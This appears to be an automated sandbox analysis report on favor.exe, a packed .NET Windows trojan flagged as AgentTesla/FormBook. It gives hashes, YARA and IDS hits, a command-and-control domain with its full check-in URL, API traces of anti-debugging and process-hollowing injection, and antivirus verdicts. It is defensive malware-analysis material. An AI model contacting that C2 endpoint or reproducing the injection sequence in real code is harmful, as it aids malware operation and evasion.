Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Nov. 18, 2021, 7:46 a.m.	Nov. 18, 2021, 8:17 a.m.

Size	358.0KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`f6ebb41c891b00b673f9649c5ceef393`
SHA256	`940c654e89d4ab65df9c9832e6102ed08133764ecb3260abeba62f8269a3c298`
CRC32	`3AE03E23`
ssdeep	`6144:cFOa6S6zg5B6SGb1i0NY5HbgcsxG5AkR55v8a9c5WffDxLXF3Zd1d3C:ch6pWB6nrNkgcQGxz+ahf7Fnd1dS`
Yara	PE_Header_Zero - PE File Signature Generic_Malware_Zero - Generic Malware IsPE32 - (no description) Is_DotNET_EXE - (no description) Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT Win32_Trojan_PWS_Net_1_Zero - Win32 Trojan PWS .NET Azorult

favor.exe "C:\Users\test22\AppData\Local\Temp\favor.exe"
2400
- favor.exe "C:\Users\test22\AppData\Local\Temp\favor.exe"
  2768

Name	Response	Post-Analysis Lookup
www.emansdesign.com
www.teslaislandbois.com	A 172.217.24.115 CNAME ghs.googlehosted.com	172.217.31.147

IP Address	Status	Action
164.124.101.2	Active	Moloch
172.217.24.115	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49166 -> 172.217.24.115:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49166 -> 172.217.24.115:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49166 -> 172.217.24.115:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Nov. 18, 2021, 7:46 a.m.			0	0
IsDebuggerPresent Nov. 18, 2021, 7:46 a.m.			0	0

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Nov. 18, 2021, 7:46 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header

suspicious_request

GET http://www.teslaislandbois.com/s3f1/?6lXXNxw8=cICjraUsbkDfyiU6Y0pj5C92HPuK5+ZpdVc61cdczvP+oiELNgG5hFOlyz1SG1rJLLefXSms&3f=Yn9ps04xrhS

Performs some HTTP requests (1 event)

request

GET http://www.teslaislandbois.com/s3f1/?6lXXNxw8=cICjraUsbkDfyiU6Y0pj5C92HPuK5+ZpdVc61cdczvP+oiELNgG5hFOlyz1SG1rJLLefXSms&3f=Yn9ps04xrhS

Allocates read-write-execute memory (usually to unpack itself) (25 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Nov. 18, 2021, 7:46 a.m.	process_identifier: 2400 region_size: 2293760 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007f0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 18, 2021, 7:46 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x009e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 18, 2021, 7:46 a.m.	process_identifier: 2400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73941000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 18, 2021, 7:46 a.m.	process_identifier: 2400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73942000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 18, 2021, 7:46 a.m.	process_identifier: 2400 region_size: 458752 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005c0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 18, 2021, 7:46 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 18, 2021, 7:46 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00512000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 18, 2021, 7:46 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00545000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 18, 2021, 7:46 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0054b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 18, 2021, 7:46 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00547000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 18, 2021, 7:46 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0052c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 18, 2021, 7:46 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00790000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 18, 2021, 7:46 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0051a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 18, 2021, 7:46 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0053a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 18, 2021, 7:46 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00537000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 18, 2021, 7:46 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0052a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 18, 2021, 7:46 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00791000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 18, 2021, 7:46 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00536000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 18, 2021, 7:46 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00792000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 18, 2021, 7:46 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0052d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 18, 2021, 7:46 a.m.	process_identifier: 2400 region_size: 24576 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00793000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 18, 2021, 7:46 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00799000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 18, 2021, 7:46 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0079a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 18, 2021, 7:46 a.m.	process_identifier: 2400 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0079b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 18, 2021, 8:16 a.m.	process_identifier: 2768 region_size: 3158016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008a0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x00058c00', u'virtual_address': u'0x00002000', u'entropy': 7.891536674016447, u'name': u'.text', u'virtual_size': u'0x00058bf0'}

entropy

7.89153667402

description

A section with a high entropy has been found

entropy

0.993006993007

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Nov. 18, 2021, 8:16 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (7 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Bypass DEP	rule	disable_dep

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory Nov. 18, 2021, 7:46 a.m.	process_identifier: 2768 region_size: 192512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000023c	1	0	0

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Nov. 18, 2021, 7:46 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ôÍ¹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PEL Bs;à Òñð@ð@.textdÑÒ ` base_address: 0x00400000 process_identifier: 2768 process_handle: 0x0000023c	1	1	0
WriteProcessMemory Nov. 18, 2021, 7:46 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2768 process_handle: 0x0000023c	1	1	0

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Nov. 18, 2021, 7:46 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ôÍ¹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PEL Bs;à Òñð@ð@.textdÑÒ ` base_address: 0x00400000 process_identifier: 2768 process_handle: 0x0000023c	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2400 called NtSetContextThread to modify thread in remote process 2768
NtSetContextThread Nov. 18, 2021, 7:46 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4321536 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000234 process_identifier: 2768	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2400 resumed a thread in remote process 2768
NtResumeThread Nov. 18, 2021, 7:46 a.m.	thread_handle: 0x00000234 suspend_count: 1 process_identifier: 2768	1	0	0

Executed a process and injected code into it, probably while unpacking (11 events)

Time & API	Arguments	Status	Return
NtResumeThread Nov. 18, 2021, 7:46 a.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 2400	1	0
NtResumeThread Nov. 18, 2021, 7:46 a.m.	thread_handle: 0x00000154 suspend_count: 1 process_identifier: 2400	1	0
NtResumeThread Nov. 18, 2021, 7:46 a.m.	thread_handle: 0x00000190 suspend_count: 1 process_identifier: 2400	1	0
CreateProcessInternalW Nov. 18, 2021, 7:46 a.m.	thread_identifier: 2772 thread_handle: 0x00000234 process_identifier: 2768 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\favor.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\favor.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x0000023c	1	1
NtGetContextThread Nov. 18, 2021, 7:46 a.m.	thread_handle: 0x00000234	1	0
NtAllocateVirtualMemory Nov. 18, 2021, 7:46 a.m.	process_identifier: 2768 region_size: 192512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000023c	1	0
WriteProcessMemory Nov. 18, 2021, 7:46 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ôÍ¹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PEL Bs;à Òñð@ð@.textdÑÒ ` base_address: 0x00400000 process_identifier: 2768 process_handle: 0x0000023c	1	1
WriteProcessMemory Nov. 18, 2021, 7:46 a.m.	buffer: base_address: 0x00401000 process_identifier: 2768 process_handle: 0x0000023c	1	1
WriteProcessMemory Nov. 18, 2021, 7:46 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2768 process_handle: 0x0000023c	1	1
NtSetContextThread Nov. 18, 2021, 7:46 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4321536 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000234 process_identifier: 2768	1	0
NtResumeThread Nov. 18, 2021, 7:46 a.m.	thread_handle: 0x00000234 suspend_count: 1 process_identifier: 2768	1	0

File has been identified by 39 AntiVirus engines on VirusTotal as malicious (39 events)

Lionic	Trojan.MSIL.Noon.l!c
Elastic	malicious (high confidence)
ALYac	Gen:Variant.Bulz.928612
Malwarebytes	Trojan.MalPack.PNG.Generic
BitDefender	Gen:Variant.Bulz.928612
Cyren	W32/MSIL_Troj.BTG.gen!Eldorado
Symantec	Trojan.Gen.9
ESET-NOD32	a variant of MSIL/Kryptik.ADLU
APEX	Malicious
Paloalto	generic.ml
Cynet	Malicious (score: 100)
Kaspersky	UDS:DangerousObject.Multi.Generic
MicroWorld-eScan	Gen:Variant.Bulz.928612
Avast	FileRepMalware
Ad-Aware	Gen:Variant.Bulz.928612
Sophos	Mal/Generic-S
F-Secure	Trojan.TR/Tesla.hcfxs
DrWeb	Trojan.DownLoader44.1029
TrendMicro	TROJ_GEN.R002C0DKG21
McAfee-GW-Edition	BehavesLike.Win32.Generic.fc
FireEye	Generic.mg.f6ebb41c891b00b6
Emsisoft	Gen:Variant.Bulz.928612 (B)
SentinelOne	Static AI - Malicious PE
GData	MSIL.Trojan.PSE.M6ZDP
Webroot	W32.Trojan.Gen
Avira	TR/Tesla.hcfxs
Kingsoft	Win32.Troj.Generic_a.a.(kcloud)
Arcabit	Trojan.Bulz.DE2B64
Microsoft	Trojan:MSIL/AgentTesla.LJD!MTB
McAfee	RDN/Generic.dx
MAX	malware (ai score=86)
Cylance	Unsafe
TrendMicro-HouseCall	TROJ_GEN.R002C0DKG21
Ikarus	Trojan.MSIL.AgentTesla
Fortinet	MSIL/Injector.VTU!tr
AVG	FileRepMalware
Panda	Trj/GdSda.A
CrowdStrike	win/malicious_confidence_80% (W)
MaxSecure	Trojan.Malware.300983.susgen

favor.exe

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